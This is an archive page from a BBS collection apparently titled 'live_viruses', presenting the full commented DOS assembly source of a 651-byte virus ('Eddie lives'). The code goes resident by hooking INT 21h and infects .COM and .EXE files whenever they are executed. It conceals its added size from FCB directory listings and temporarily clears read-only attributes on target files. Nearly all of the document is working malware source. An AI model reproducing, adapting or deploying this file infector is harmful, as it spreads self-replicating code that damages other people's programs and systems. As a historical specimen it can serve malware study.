home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
v651.asm
< prev
next >
Wrap
Assembly Source File
|
1990-02-01
|
14KB
|
425 lines
page ,132
.radix 16
code segment
assume cs:code,ds:code
org 100
ftime equ 17 ; File time offset in a dir_entry
fsize equ 1Dh ; File size offset in a dir_entry
; Offsets of some entries in the EXE-file header:
epages equ 4 ; File size in 512 pages
ehsize equ 8 ; EXE-header size in paragraphs
ememmin equ 0A ; Minimum memory required
ememmax equ 0C ; Maximum memory required
estack equ 0E ; Offset of SS:SP
ecode equ 14 ; Offset of CS:IP
elength equ 18 ; Offset of the file length
start:
jmp vir_entry
db (651d - 8) dup (90) ; A virus trap program
mov ax,4C00 ; It does nothing - just exits
int 21
vir_entry:
call self ; A common trick for viruses
self:
pop bx ; Determine vir_entry's address
sub bx,3 ; Keep it in BX
push ax ; Save AX
sub ax,ax ; Save the original INT 21h handler
mov es,ax
mov ax,es:[21*4]
mov cs:[old_int21-vir_entry+bx],ax
mov ax,es:[21*4+2]
mov cs:[old_int21-vir_entry+bx+2],ax
mov ax,0A55A ; Check if virus already in memory
int 21
cmp ax,5AA5
je installed ; Skip the rest stuff if so
mov ax,sp ; AX := (SP + 1) * 16 + 1 + SS
inc ax
mov cl,4
shr ax,cl
inc ax
mov cx,ss
add ax,cx
mov cx,ds ; Point ES at program's MCB
dec cx
mov es,cx
mov di,2 ; Decrease memory_top by virus' size
mov dx,(buffer-vir_entry+24) shr 4 + 1
mov cx,[di]
sub cx,dx
cmp cx,ax ; Enough memory?
jb installed ; Don't install if not
sub es:[di+1],dx
mov [di],cx
mov es,cx ; Move the virus' code
mov si,bx ; to the allocated memory chunk
sub di,di
mov cx,(ip_save-vir_entry) shr 1
cld
db 2E ; cs:???
rep movsw
mov ax,es ; Set the new INT 21h handler
mov es,cx
cli ; Disable interrupts
mov word ptr es:[21*4],new_int21-vir_entry
mov word ptr es:[21*4+2],ax
sti ; Enable interrupts
installed:
push ds ; ES := DS
pop es
mov ax,cs:[buffer-vir_entry+bx]
cmp ax,'ZM'
je start_exe
cmp ax,'MZ'
je start_exe
; Current (infected) file is a .COM one. Start it:
mov di,100 ; Restore the first 3 bytes of the file
mov [di],ax
mov al,[buffer-vir_entry+bx+2]
mov [di+2],al
pop ax ; Restore AX
push di ; Jump to CS:100h
ret ; via funny rts
; Current (infected) file is an .EXE one. Start it:
start_exe:
pop ax ; Restore AX
mov dx,ds
add dx,10
add cs:[cs_save-vir_entry+bx],dx
add dx,cs:[ss_save-vir_entry+bx]
mov ss,dx
mov sp,cs:[sp_save-vir_entry+bx]
jmp dword ptr cs:[ip_save-vir_entry+bx]
new_int21: ; New INT 21h handler
sti ; Enable interrupts
cmp ax,4B00 ; Exec?
je new_exec ; Go to our own routine if so
cmp ah,11 ; FindFirst (FCB)?
je new_find
cmp ah,12 ; FindNext (FCB)?
je new_find ; Go to our own routine if so
cmp ax,0A55A ; Installation check?
je inst_chk ; Indicate virus in memory if so
jmp go ; Otherwise execute the old INT 21h handler
new_find: ; New FindFirst/FindNext (FCB) handler
pushf ; Execute the original function
call dword ptr cs:[old_int21-vir_entry]
test al,al
jnz loc_7 ; Exit on error
push ax ; Save registers AX, BX & ES
push bx
push es
mov bx,dx
mov al,[bx]
push ax ; Save AX
mov ah,2F ; Get DTA ptr into ES:BX
int 21
pop ax ; Restore AX
inc al
jnz skip_1
add bx,7
skip_1:
mov ax,es:[bx+ftime] ; Get file time
and al,1F ; The seconds more exactly
cmp al,1F ; Is file infected?
jne not_inf ; Exit if not
and byte ptr es:[bx+ftime],0E0 ; Zero seconds. Why???
; File infected. Adjust file-size field in the directory
; entry by subtracting the virus length from it.
sub word ptr es:[bx+fsize],(buffer+3-vir_entry)
sbb word ptr es:[bx+fsize+2],0
not_inf:
pop es ; Restore ES, BX & AX
pop bx
pop ax
loc_7:
iret ; Done
inst_chk: ; Installation check
not ax ; Just invert the number in AX
iret ; and exit
new_exec: ; New Exec function handler
push ds ; Save the registers used
push es
push ax
push bx
push cx
push dx
push si
push di
mov ax,3524 ; Get current critical error
int 21 ; handler in ES:BX
push es ; Save it on stack
push bx
push ds ; Save DS & DX
push dx
push cs ; DS := CS
pop ds
mov dx,crit_hndlr-vir_entry
mov ax,2524 ; Set new critical error handler
int 21
pop dx ; Restore DX & DS
pop ds
mov ax,4300 ; Get file attributes
int 21
jnc skip_2
sub cx,cx
jmp exit_3 ; Exit on error
skip_2:
push cx ; Save attributes on stack
test cl,1 ; Read only file?
jz writable ; Continue if not
dec cx ; Turn off the ReadOnly bit
mov ax,4301 ; Set new file attributes
int 21
writable:
mov ax,3D02 ; Open file with write access
int 21
push cs ; DS := CS
pop ds
jnc open_ok ; Continue if open OK
jmp exit_2 ; Exit on error
open_ok:
mov bx,ax ; Save file handle in BX
mov ax,5700 ; Get file's date & time
int 21
jc loc_13 ; Exit on error
mov al,cl ; Get file's time
or cl,1F ; Mark file as infected
cmp al,cl ; Was file infected?
jne infect ; No, go infect it
loc_13:
jmp exit_1 ; Yes, exit
infect:
push cx ; Save CX & DX
push dx
mov dx,buffer-vir_entry
mov cx,24d ; Read 24 bytes from the
mov ah,3F ; beginning of the file
int 21
jc err_exit ; Exit on error
sub cx,ax
jnz err_exit ; Exit on error
les ax,ds:[buffer+estack-vir_entry]
mov ds:[sp_save-vir_entry],es ; Remember the original SS:SP entry
mov ds:[ss_save-vir_entry],ax
les ax,ds:[buffer+ecode-vir_entry]
mov ds:[ip_save-vir_entry],ax ; Remember the original CS:IP entry
mov ds:[cs_save-vir_entry],es
mov dx,cx ; DX := 0
mov ax,4202 ; Seek to EOF
int 21
jc err_exit ; Exit on error
mov ds:[buffer+elength-vir_entry],ax ; Save original file length
mov ds:[buffer+elength+2-vir_entry],dx
mov cx,(buffer+3-vir_entry)
cmp ax,cx ; Is file large enough?
sbb dx,0
jb err_exit ; Exit if sise < 651
call is_exe ; EXE-file?
je do_infect ; Infect it if so
cmp ax,64373d ; COM-file. Is file size < 64373?
jb do_infect ; Infect it if so
err_exit:
jmp set_err ; Otherwise exit
; The file beeng executed is still not infected and matches
; the size conditions. It can be infected, so do it:
do_infect:
sub dx,dx ; Write the virus code after
mov ah,40 ; the end of file (CX == virus length)
int 21
jc err_exit ; Exit on error
sub cx,ax
jnz err_exit ; Exit on error
mov dx,cx ; DX := 0
mov ax,4200 ; Seek to the beginning of the file
int 21
jc err_exit ; Exit on error
mov ax,ds:[buffer+elength-vir_entry]
call is_exe ; Is the file of .EXE-type?
jne inf_com ; No, infect it as a .COM one
; Infection of an .EXE-file:
mov dx,ds:[buffer+elength+2-vir_entry]
mov cx,4
mov si,ds:[buffer+ehsize-vir_entry]
sub di,di
lp:
shl si,1
rcl di,1
loop lp
sub ax,si
sbb dx,di
mov cl,0C
shl dx,cl
mov ds:[buffer+ecode-vir_entry],ax
mov ds:[buffer+ecode+2-vir_entry],dx
add dx,31
nop
mov ds:[buffer+estack+2-vir_entry],ax
mov ds:[buffer+estack-vir_entry],dx
add ds:[buffer+ememmin-vir_entry],9
mov ax,ds:[buffer+ememmin-vir_entry]
cmp ax,ds:[buffer+ememmax-vir_entry]
jb skip_3
mov ds:[buffer+ememmax-vir_entry],ax
skip_3:
mov ax,ds:[buffer+2-vir_entry]
add ax,buffer+3-vir_entry
push ax
and ah,1
mov ds:[buffer+2-vir_entry],ax
pop ax
mov cl,9
shr ax,cl
add ds:[buffer+epages-vir_entry],ax
jmp short wr_head ; Done
; Infection of a .COM-file:
inf_com:
sub ax,3 ; Put a jump into the virus code
mov byte ptr ds:[buffer-vir_entry],0E9 ; as a first
mov ds:[buffer+1-vir_entry],ax ; instruction of the file
wr_head:
mov dx,buffer-vir_entry
mov cx,24d ; Write the buffer back to the file
mov ah,40
int 21
jc set_err ; Exit on error
cmp ax,cx
je exit_0 ; Exit without error
set_err:
stc ; Indicate an error has occured
exit_0:
pop dx ; Restore DX & CX
pop cx
jc exit_1
mov ax,5701 ; Restore file date & time if needed
int 21
exit_1:
mov ah,3E ; Close file
int 21
exit_2:
pop cx ; Restore file attributes from stack
exit_3:
test cl,1 ; Was file read-only?
jz exit_4 ; Skip the following if not
mov ax,4301 ; Restore file attributes
int 21
exit_4:
pop dx ; Restore the original
pop ds ; critical error handler
mov ax,2524 ; from the stack
int 21
pop di ; Restore the registers used
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
go: ; Exit through the old INT 21h handler
jmp dword ptr cs:[old_int21-vir_entry]
crit_hndlr: ; Critical error handler
mov al,3 ; Just return Fail (and DOS < 3.0 ???)
iret ; and exit
is_exe: ; Tell if the file is an .EXE one
mov si,ds:[first_3-vir_entry]
cmp si,'ZM'
je yes
cmp si,'MZ'
yes:
ret
db 'Eddie lives',0 ; Not used
old_int21 dd ? ; Old INT 21h handler
ip_save dw ? ; Save places for some
cs_save dw ? ; entries in the .EXE-header
sp_save dw ?
ss_save dw ?
buffer equ $
first_3 db 0E9,83,2 ; The original first 3 bytes of the file
code ends
end start